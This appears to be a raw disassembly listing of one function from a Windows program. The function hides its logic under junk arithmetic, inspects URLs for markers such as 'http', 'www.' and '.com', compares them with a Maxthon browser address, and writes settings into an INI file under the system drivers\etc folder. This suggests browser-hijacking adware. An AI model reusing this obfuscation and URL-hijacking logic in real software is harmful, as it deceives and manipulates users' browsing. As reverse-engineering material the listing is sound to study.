call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x45569c]
mov edi, dword [0x4556a4]
mov eax, 0x5d929e5d
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov esi, dword [0x4556a0]
mov eax, 0x48dbb693
imul esi, esi, 0x2367
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455690]
imul edx, edx, 0x544
sub ebx, esi
mov esi, dword [str._r_____r____]
sub ebx, eax
sub ebx, edx
mov eax, 0x73b2d479
imul ecx
imul ecx, ecx, 0x1603
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, esi
mov esi, dword [0x455688]
add esi, ebx
mov ebx, eax
mov eax, 0xd816735f
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ebx
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x5d0a95d5
imul ecx
mov eax, dword [ebp - 0x10d8]
mov dword [0x455688], esi
imul esi, esi, 0xd9b
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
add edi, esi
mov dword [0x4556a4], edi
mov edx, dword [eax]
lea ecx, [ebp - 0x10f8]
push ecx
push eax
call dword [edx + 0xa0]
mov edx, dword [ebp - 0x10f8]
push edx
call fcn.0041f4f0
mov ecx, dword [0x455690]
mov esi, dword [0x4556a8]
mov ebx, eax
imul esi, esi, 0x19a8
mov eax, 0x443d7153
imul ecx
mov ecx, dword [0x45569c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x27e98ca1
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455688]
imul edx, edx, 0xe0e
sub esi, ecx
add esi, edx
sub esi, dword [0x4556a0]
sub esi, 0x544
test ebx, ebx
mov dword [0x455690], esi
je 0x41be1c
mov edi, 0x4462e8
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x41be1c
mov ecx, dword [0x455698]
mov eax, 0x3dbd3249
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x455694]
mov eax, 0x5d0a95d5
imul ecx
mov ecx, dword [0x4556a8]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x736e5bc3
imul ecx
imul ecx, ecx, 0x544
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x4556a0]
imul eax, eax, 0xd9b
add esi, eax
sub esi, ecx
push 1
mov dword [0x455698], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d8]
mov ecx, dword [eax]
lea edx, [ebp - 0x10f8]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f8]
push eax
call fcn.0041f4f0
mov ebx, eax
mov ecx, dword [0x45568c]
mov eax, 0x443d7153
imul ecx
mov eax, dword [0x455698]
sar edx, 0xb
imul eax, eax, 0x108d
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x1e03
push 4
sub edx, ecx
sub edx, eax
push str.http
push ebx
mov dword [0x4556a0], edx
call fcn.0042a7d0
add esp, 0xc
test eax, eax
je 0x41c086
push 4
push str.HTTP
push ebx
call fcn.0042a7d0
add esp, 0xc
test eax, eax
je 0x41c086
push 4
push str.www.
push ebx
call fcn.0042a7d0
add esp, 0xc
test eax, eax
je 0x41c086
push 4
push str.WWW.
push ebx
call fcn.0042a7d0
add esp, 0xc
test eax, eax
je 0x41c086
push str.http:
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41bf00
push str.HTTP:
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41bf00
push str.www.
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41bf00
push str.WWW.
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
je 0x41c086
mov ecx, dword [str._r_____r____]
mov esi, dword [0x4556a0]
mov eax, 0xa26d61a3
imul esi, esi, 0x1b47
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0x11be
mov edi, ecx
mov ecx, dword [0x455698]
sub edi, esi
add edi, edx
mov eax, 0x4b438bdf
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
push str.http:
push ebx
mov dword [0x4556a8], eax
call fcn.0042a0c0
add esp, 8
test eax, eax
je 0x41c032
push str.http:
jmp 0x41c07b
mov edx, dword [0x45569c]
imul esi, esi, 0x2367
imul ecx, ecx, 0x544
mov eax, 0x5d929e5d
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov ebx, dword [0x455688]
mov edi, eax
mov eax, 0x48dbb693
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
sub edi, esi
add eax, edx
sub edi, eax
mov eax, dword [str._r_____r____]
sub edi, ecx
add edi, eax
add ebx, edi
push str.startup.exe
mov dword [0x455688], ebx
call fcn.0040ba20
add esp, 4
test eax, eax
jle 0x41b470
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 5
je 0x41bff3
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 4
je 0x41c007
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x41c01b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41cd4c
jmp 0x41cd46
push str.HTTP:
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
je 0x41c04b
push str.HTTP:
jmp 0x41c07b
push str.www.
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
je 0x41c064
push str.www.
jmp 0x41c07b
push str.WWW.
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
je 0x41c086
push str.WWW.
push ebx
call fcn.0042a0c0
add esp, 8
mov ebx, eax
mov eax, 0x73b2d479
imul dword [0x45569c]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, dword [0x4556a8]
mov eax, 0xd816735f
imul dword [0x455690]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edi, eax
mov eax, 0x5d0a95d5
imul dword [0x455694]
sar edx, 0xb
mov ecx, esi
imul ecx, ecx, 0x212c
mov dword [ebp - 0x10dc], ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, ecx
mov ecx, dword [0x45568c]
add eax, edi
imul ecx, ecx, 0x11be
add ecx, eax
mov edx, dword [str.fdfdadsafdfghfjkt]
mov dword [str._r_____r____], ecx
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [0x446c40]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x446c3c]
mov dword [ebp - 0x4c0], eax
mov ax, word [0x446c48]
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x4c4], edx
mov edx, dword [0x446c44]
mov word [ebp - 0x4b4], ax
xor eax, eax
mov dword [ebp - 0x4b8], edx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4556a0]
stosw word es:[edi], ax
imul ecx, ecx, 0x11be
mov eax, 0x5d0a95d5
imul dword [0x455690]
sar edx, 0xb
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x4b438bdf
imul dword [0x45568c]
add edi, ecx
sar edx, 0xa
add edi, edx
mov ecx, edx
mov edx, dword [0x455694]
shr ecx, 0x1f
add ecx, edi
sub ecx, dword [ebp - 0x10dc]
sub ecx, edx
add ecx, 0x1e03
mov edi, ebx
mov dword [0x45568c], ecx
lea eax, [edi + 1]
mov dl, byte [edi]
inc edi
test dl, dl
jne 0x41c1b6
sub edi, eax
mov dword [ebp - 0x10e8], edi
je 0x41c304
push str.http:__
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c2e3
push str.HTTP:__
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c2e3
push str.www.
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c2e3
push str.WWW.
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c2e3
push str..COM
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c2e3
push str..com
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c2e3
push str..NET
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c2e3
push str..net
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c2e3
push str..ORG
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c2e3
push str..org
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c2e3
push 0x446bf4
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c2e3
push 0x446bf0
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c2e3
push str..htm
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c2e3
push str..HTM
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
je 0x41c2f8
push ebx
lea edx, [ebp - 0x4c4]
push str.__s_
push edx
call fcn.00429b6a
add esp, 0xc
mov ecx, dword [0x45568c]
mov esi, dword [0x4556a8]
mov eax, 0x73b2d479
imul esi, esi, 0x212c
imul ecx, ecx, 0x11be
imul dword [0x45569c]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x27e98ca1
imul dword [0x455690]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5d0a95d5
imul dword [0x455694]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
push str.C:WINDOWS_system_sdax.txt
add esi, edx
add eax, esi
push 0x400
add eax, ecx
lea ecx, [ebp - 0x8c4]
push ecx
push 0x445de9
push str.rtgbh
push str.asdf
mov dword [str._r_____r____], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x41c4b6
mov eax, ebx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c390
sub eax, edx
mov dword [ebp - 0x10e8], eax
je 0x41c4b6
mov edi, 0x4462e8
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x41c4b6
lea eax, [ebp - 0x144]
push eax
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c43b
lea ecx, [ebp - 0x144]
push ebx
push ecx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41c43b
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea ebx, [ebx]
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x41c418
test al, al
je 0x41c414
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x41c418
add esi, 2
add edi, 2
test al, al
jne 0x41c3f0
xor eax, eax
jmp 0x41c41d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41c43b
lea edx, [ebp - 0x4c4]
push edx
lea eax, [ebp - 0x8c4]
push eax
call fcn.0042a0c0
add esp, 8
test eax, eax
je 0x41c44f
lea ecx, [ebp - 0x1c4]
push ecx
push ebx
call fcn.0042a0c0
add esp, 8
test eax, eax
je 0x41c4b6
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, 0x443d7153
imul ecx
mov ecx, dword [0x4556a8]
imul ecx, ecx, 0x19a8
sar edx, 0xb
mov edi, dword [0x455688]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x27e98ca1
imul esi
mov ebx, dword [0x4556a0]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0xe0e
sub ecx, eax
add ecx, edx
sub ecx, ebx
sub ecx, 0x544
mov dword [0x455690], ecx
jmp 0x41c567
push 0
call fcn.00429c4f
mov ecx, dword [0x455698]
mov dword [0x5697c4], eax
mov eax, 0x3dbd3249
imul ecx
mov ecx, dword [0x455694]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x5d0a95d5
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x4556a8]
mov eax, 0x736e5bc3
imul ecx
imul ecx, ecx, 0x544
mov ebx, dword [0x5697c0]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0xd9b
sub esi, eax
mov eax, dword [ebp - 0x10d8]
add esp, 4
add esi, edx
mov edx, dword [ebp - 0x10f4]
sub esi, ecx
push edx
inc ebx
mov dword [0x455698], esi
mov ecx, dword [eax]
push eax
mov dword [0x5697c0], ebx
call dword [ecx + 0x9c]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov edi, dword [0x455688]
mov ebx, dword [0x4556a0]
mov eax, 0x5d929e5d
imul ebx, ebx, 0x2367
imul ecx, ecx, 0x544
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [ebp - 0x10f4], eax
mov ebx, dword [ebp - 0x10cc]
mov eax, 0x48dbb693
imul dword [0x4556a4]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10f4]
sub edx, eax
sub edx, ecx
mov ecx, dword [str._r_____r____]
add edx, ecx
add edi, edx
test ebx, ebx
mov dword [0x455688], edi
je 0x41cb0e
mov eax, ebx
lea edx, [eax + 1]
mov dword [ebp - 0x10cc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c5d4
sub eax, dword [ebp - 0x10cc]
mov dword [ebp - 0x10cc], eax
je 0x41cb0e
mov eax, dword [0x45568c]
imul ecx, ecx, 0x1603
mov edx, dword [0x455698]
imul eax, eax, 0x11be
imul edx, edx, 0xe0e
add ecx, eax
add ecx, edx
mov eax, 0x4b438bdf
imul esi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub ecx, eax
lea eax, [ecx + edx - 0x544]
push 0xffffffffffffffff
push 0x5593b0
lea ecx, [ebp - 0x1138]
mov dword [0x455694], eax
call fcn.00405c70
mov eax, 0x443d7153
imul dword [0x45568c]
mov eax, dword [0x455698]
sar edx, 0xb
imul eax, eax, 0x108d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [str._r_____r____]
imul ecx, ecx, 0x1e03
sub ecx, edx
sub ecx, eax
mov byte [ebp - 4], 7
mov dword [0x4556a0], ecx
mov edi, 0x558ba8
mov esi, ebx
mov dl, byte [esi]
mov al, dl
cmp dl, byte [edi]
jne 0x41c6aa
test al, al
je 0x41c6a6
mov dl, byte [esi + 1]
mov al, dl
cmp dl, byte [edi + 1]
jne 0x41c6aa
add esi, 2
add edi, 2
test al, al
jne 0x41c686
xor eax, eax
jmp 0x41c6af
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41caf3
mov edx, dword [0x455690]
mov edi, dword [0x4556a8]
mov eax, 0x5d0a95d5
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, edi
imul esi, esi, 0x212c
mov edx, ecx
imul edx, edx, 0x11be
sub eax, esi
add eax, edx
mov dword [ebp - 0x10cc], eax
mov eax, 0x4b438bdf
imul dword [0x45568c]
mov eax, dword [ebp - 0x10cc]
sar edx, 0xa
mov esi, edx
add eax, edx
mov edx, dword [0x455694]
shr esi, 0x1f
add esi, eax
sub esi, edx
mov eax, ebx
add esi, 0x1e03
lea edx, [eax + 1]
mov dword [0x45568c], esi
mov dword [ebp - 0x10cc], edx
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c730
sub eax, dword [ebp - 0x10cc]
cmp eax, 0x800
jae 0x41c75c
mov ecx, ebx
mov edx, 0x558ba8
jmp 0x41c750
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41c750
jmp 0x41c7da
mov eax, 0x3dbd3249
imul ecx, ecx, 0xd9b
imul dword [0x455698]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x5d0a95d5
imul dword [0x455694]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x736e5bc3
imul edi
imul edi, edi, 0x544
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
push 0x7ff
sub esi, edi
xor eax, eax
push ebx
mov ecx, 0x200
mov edi, 0x558ba8
push 0x558ba8
mov dword [0x455698], esi
rep stosd dword es:[edi], eax
call fcn.0042a6a0
mov esi, dword [0x45568c]
add esp, 0xc
mov ecx, dword [0x45569c]
mov eax, 0x73b2d479
imul ecx
imul ecx, ecx, 0x1603
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov edi, eax
mov eax, 0xd816735f
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
add eax, ecx
mov edi, eax
mov eax, 0x5d0a95d5
imul esi
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455688]
imul edx, edx, 0xd9b
sub edi, ecx
add edi, edx
mov eax, 0x5582a8
mov dword [0x4556a4], edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c845
sub eax, esi
cmp eax, 5
jbe 0x41caf3
push str.ConfigL6
push ebx
call fcn.00404450
add esp, 8
test eax, eax
jne 0x41caf3
mov ecx, dword [str._r_____r____]
mov esi, dword [0x4556a0]
mov eax, 0xa26d61a3
imul esi, esi, 0x1b47
imul ecx
mov ecx, dword [0x455690]
sar edx, 0xb
imul ecx, ecx, 0x11be
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
add edi, ecx
mov ecx, dword [0x455698]
mov eax, 0x4b438bdf
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
push 0x132b600
mov dword [0x4556a8], eax
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 4
xor esi, esi
nop
cmp esi, 0x64
jge 0x41c96b
mov ecx, dword [0x45569c]
mov edi, dword [0x4556a8]
mov eax, 0x73b2d479
imul edi, edi, 0x212c
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x455690]
mov eax, 0x27e98ca1
imul ecx
mov ecx, dword [0x455694]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5d0a95d5
imul ecx
sar edx, 0xb
mov ecx, edx
add edi, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x11be
shr ecx, 0x1f
add ecx, edi
add ecx, edx
push 0x64
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x5582a8
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c954
sub eax, ecx
mov dword [ebp - 0x10cc], eax
je 0x41c96b
inc esi
jmp 0x41c8d0
mov ecx, dword [0x455690]
mov esi, dword [0x4556a8]
mov eax, 0x5d0a95d5
imul esi, esi, 0x212c
imul ecx
mov ecx, dword [0x4556a0]
sar edx, 0xb
imul ecx, ecx, 0x11be
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x4b438bdf
imul ecx
mov ecx, dword [0x455694]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
push str.C:WINDOWS_system32driversetc_service5.ini
add edi, edx
add eax, edi
push 0x800
sub eax, ecx
lea ecx, [ebp - 0x10c4]
push ecx
push 0x445de9
push str.ConfigL5
add eax, 0x1e03
push str.GameType1
mov dword [0x45568c], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, dword [str._r_____r____]
mov edx, dword [0x45568c]
imul esi, esi, 0x1603
mov eax, dword [0x455698]
imul edx, edx, 0x11be
mov ecx, dword [0x45569c]
imul eax, eax, 0xe0e
add esi, edx
add esi, eax
mov eax, 0x4b438bdf
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4556a4]
sub esi, ecx
lea ecx, [ebp - 0x10c4]
lea eax, [esi + edx - 0x544]
push ecx
mov dword [0x455694], eax
call fcn.00429c4a
inc eax
push eax
lea edx, [ebp - 0x10c4]
push 0x445da8
push edx
call fcn.00429b6a
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea eax, [ebp - 0x10c4]
push eax
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x455694]
mov esi, dword [0x455690]
mov eax, 0x27e98ca1
imul esi, esi, 0x2367
imul ecx
sar edx, 0xa
mov edi, edx
add esi, edx
mov edx, dword [0x45568c]
shr edi, 0x1f
add edi, esi
mov eax, edx
imul eax, eax, 0x15e3
imul ecx, ecx, 0x544
mov esi, dword [0x5582a0]
add edi, eax
mov eax, 0x48dbb693
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
inc esi
push 0
mov dword [0x45569c], edi
mov dword [0x5582a0], esi
call fcn.00429c4f
add esp, 4
mov dword [0x5582a4], eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 6
call fcn.00405d00
mov esi, dword [0x45569c]
mov edi, dword [0x455688]
mov eax, 0x73b2d479
imul edi, edi, 0xd9b
imul esi
imul esi, esi, 0x1603
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xd816735f
imul dword [0x4556a4]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov ecx, dword [0x45568c]
mov eax, 0x5d0a95d5
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10c8]
add ebx, esi
sub ebx, ecx
push ecx
add ebx, edi
mov eax, esp
mov dword [0x4556a4], ebx
mov dword [eax], edx
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov dword [ebp - 0x10cc], esp
je 0x41cb88
mov ecx, dword [eax]
push eax
call dword [ecx + 4]
mov ecx, 0x5694f0
call fcn.00406ad0
mov ecx, dword [0x45569c]
mov eax, 0x5d929e5d
imul ecx
mov ecx, dword [0x4556a4]
mov esi, dword [0x4556a0]
sar edx, 0xb
imul esi, esi, 0x2367
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x48dbb693
imul ecx
mov ebx, dword [str._r_____r____]
mov eax, dword [ebp - 0x10c8]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0x544
sub edi, esi
mov esi, dword [0x455688]
sub edi, ecx
sub edi, edx
add edi, ebx
push 0
add esi, edi
push eax
mov dword [0x455688], esi
call fcn.00408820
mov ecx, dword [0x455690]
mov eax, 0x443d7153
imul ecx
mov esi, dword [0x45569c]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x4556a8]
imul ecx, ecx, 0x19a8
sub ecx, edx
mov eax, 0x27e98ca1
imul esi
mov edi, dword [0x4556a0]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0xe0e
sub ecx, eax
add ecx, edx
sub ecx, edi
add esp, 8
sub ecx, 0x544
mov dword [0x455690], ecx
jmp 0x41cc75
mov ecx, dword [0x455690]
mov edi, dword [0x4556a0]
mov edx, dword [0x455698]
imul edi, edi, 0xd9b
mov eax, 0x3dbd3249
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x5d0a95d5
imul dword [0x455694]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x736e5bc3
imul dword [0x4556a8]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a8]
imul edx, edx, 0x544
sub ebx, eax
mov eax, dword [ebp - 0x10d8]
add ebx, edi
sub ebx, edx
test eax, eax
mov dword [0x455698], ebx
mov byte [ebp - 4], 5
je 0x41ccf8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 4
je 0x41cd18
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x41cd38
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41cd58
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10ec]
mov edi, dword [0x4556a8]
inc eax
mov dword [ebp - 0x10ec], eax
xor ebx, ebx
jmp 0x41ad40
mov eax, dword [ebp - 0x10e4]
cmp eax, ebx
mov byte [ebp - 4], 0
je 0x41cd86
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [str._r_____r____]
mov eax, 0x443d7153
imul ecx, ecx, 0x1e03
imul dword [0x45568c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x455698]
imul eax, eax, 0x108d
sub ecx, eax
mov eax, dword [ebp - 0x1100]
mov dword [0x4556a0], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.00429441
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret